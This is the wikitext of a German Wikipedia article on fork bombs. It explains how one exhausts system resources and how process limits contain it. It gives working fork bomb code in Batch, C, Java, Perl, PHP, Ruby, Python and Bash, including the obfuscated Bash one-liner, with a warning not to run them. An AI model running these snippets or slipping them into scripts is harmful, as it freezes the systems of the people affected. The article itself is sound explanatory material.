imported>Matthäus Wander: link

2023-08-19T14:39:30Z

link

Neue Seite

[[Datei:Fork bomb.svg|250px|mini|Rekursive Prozesserzeugung]]

Eine '''Forkbomb''' (englisch ''Fork bomb''), auch '''Rabbit''' genannt, ist ein [[Computerprogramm]], dessen einziger Zweck es ist, [[rekursiv]] Kopien seiner selbst zu starten, alle verfügbaren Systemressourcen zu verbrauchen und so das System zu blockieren. Unter Unix geschieht das im einfachsten Fall mit dem Aufruf des [[Systemcall]]s [[Fork (Unix)|fork]] in einer [[Endlosschleife (Programmierung)|Endlosschleife]].

In [[Pseudocode]] sieht eine Forkbomb etwa so aus:

ProgrammX {
Rufe ProgrammX auf;
Rufe ProgrammX auf;
Warte bis ProgrammX beendet wurde;
}

Das Programm ruft zwei Kopien seiner selbst auf und wartet, bis sie wieder beendet wurden. Dieser Zustand wird jedoch niemals erreicht werden, da die Kopien genauso verfahren. Aus einem Programmaufruf werden somit zunächst 2, dann 4, dann 8 und nach nur 10 solcher Zyklen sind bereits über tausend Kopien gestartet und aktiv. Allgemein lässt sich festhalten, dass nach ''n'' Zyklen ''2<sup>n</sup>'' Prozesse erzeugt worden sind, ihre Anzahl also [[Exponentielles Wachstum|exponentiell zunimmt]]. Diese verbrauchen, selbst wenn sie keinen komplizierten Code enthalten, [[CPU-Zeit]] und Speicher zur Verwaltung durch das [[Betriebssystem]]. Ein normaler Betrieb beziehungsweise normales Arbeiten ist bereits wenige Sekunden nach Aufruf der Forkbomb nicht mehr möglich.

Der konkrete Effekt einer Forkbomb hängt in erster Linie von der Konfiguration des Betriebssystems ab. Beispielsweise erlaubt [[Pluggable Authentication Modules|PAM]] auf [[Unix]]- und Unix-ähnlichen Betriebssystemen die Zahl der Prozesse und den maximal zu verbrauchenden Speicher pro Benutzer zu beschränken. „Explodiert“ eine Forkbomb auf einem System, welches diese Möglichkeiten der Beschränkung nutzt, scheitert irgendwann der Versuch, neue Kopien der Forkbomb zu starten und das Wachstum ist eingedämmt.

== Beispiele für Forkbombs ==
Um die Stabilität des Systems nicht zu gefährden, wird empfohlen, die nachstehend genannten Beispiele '''nicht''' auszuführen.

=== Microsoft-Windows-Batch-Datei ===
Beispiel für eine [[Microsoft Windows|Microsoft-Windows]]-[[Stapelverarbeitung|Batch-Datei]] in Kurzform:
<syntaxhighlight lang="bat">
%0|%0
</syntaxhighlight>

oder
<syntaxhighlight lang="bat">
@echo off
:start
start "Forkbomb" /high %0
goto start
</syntaxhighlight>

=== Programmiersprache C ===
Beispiel für [[C (Programmiersprache)|C]] unter Unix:
<syntaxhighlight lang="c">
#include <unistd.h>
int main(void){
for(;;)
fork();
return 0;
}
</syntaxhighlight>

Beispiel für [[C (Programmiersprache)|C]] unter Windows
<syntaxhighlight lang="c">
#include <windows.h>
int main(int argc, char **argv) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
while (1) {
SetConsoleCtrlHandler(0, 1);
CreateProcess(*argv, 0, 0, 0, 0, CREATE_NEW_CONSOLE, 0, 0, &si, &pi);
}
return 0;
}
</syntaxhighlight>

=== Java ===
Beispiel für [[Java (Programmiersprache)|Java]]:
<syntaxhighlight lang="java">
public class ForkBomb implements Runnable {
public static void main(String[] args) {
new ForkBomb().run();
}

public void run() {
new Thread(this).start();
this.run();
}
}
</syntaxhighlight>

=== Perl ===
Beispiel für [[Perl (Programmiersprache)|Perl]] als Kommandozeilenaufruf:
<syntaxhighlight lang="perl">
perl -e "fork while fork"
</syntaxhighlight>

=== PHP ===
Beispiel für [[PHP]]:
<syntaxhighlight lang="php">
<?php
while(true) pcntl_fork();
?>
</syntaxhighlight>

=== Ruby ===
Beispiel für [[Ruby (Programmiersprache)|Ruby]]:
<syntaxhighlight lang="ruby">
loop { fork }
</syntaxhighlight>

=== Python ===
Beispiel für [[Python (Programmiersprache)|Python]] als Programm:
<syntaxhighlight lang="python">
import os

while True:
os.fork()
</syntaxhighlight>

oder als Kommandozeilenaufruf:
<syntaxhighlight lang="bash">
python -c 'while 1: __import__("os").fork()'
</syntaxhighlight>

=== Bash ===
Beispiel für [[Unix-Shell#Die Bourne-Again-Shell|Bash]] in Normalform:
<syntaxhighlight lang="bash">
function f() {
f | f&
}
f
</syntaxhighlight>

Um die Eigenschaft als Forkbomb zu [[Obfuskation (Software)|verschleiern]], wird obiger Code häufig in folgender Kurzform gegeben:

<syntaxhighlight lang="bash">
:(){ :|:& };:
</syntaxhighlight>

Erklärung:
<syntaxhighlight lang="bash">
:() # Definition der Funktion ":" -- immer wenn ":" aufgerufen wird, tue das folgende:
{ #
: # eine neue Kopie von ":" laden
| # … und seine Standardausgabe umleiten auf …
: # … eine weitere Kopie von ":" (die auch in den Speicher geladen werden muss)
# (":|:" erzeugt also einfach 2 Kopien von ":", immer wenn es aufgerufen wird)
& # die Befehlszeile unabhängig vom aufrufenden Prozess machen (im Hintergrund ausführen)
} #
; # Durch ";" wird die Definition von ":" beendet
: # …und durch den Aufruf von ":" die Kettenreaktion in Gang gesetzt.
</syntaxhighlight>

== Literatur ==
* [[Eric S. Raymond]]: ''The New hacker's dictionary.'' With foreword and cartoons by [[Guy L. Steele Jr.]] 3rd edition. MIT Press, Cambridge MA u. a. 1996, ISBN 0-262-68092-0, [http://www.catb.org/jargon/html/F/fork-bomb.html Online].
* {{Literatur
|Autor=Cyrus Peikari, Anton Chuvakin
|Titel=Security warrior
|Verlag=O’Reilly
|Ort=Beijing u. a.
|Datum=2004
|ISBN=0-596-00545-8}}

[[Kategorie:Sicherheitslücke]]

Forkbomb - Versionsgeschichte

imported>Matthäus Wander: link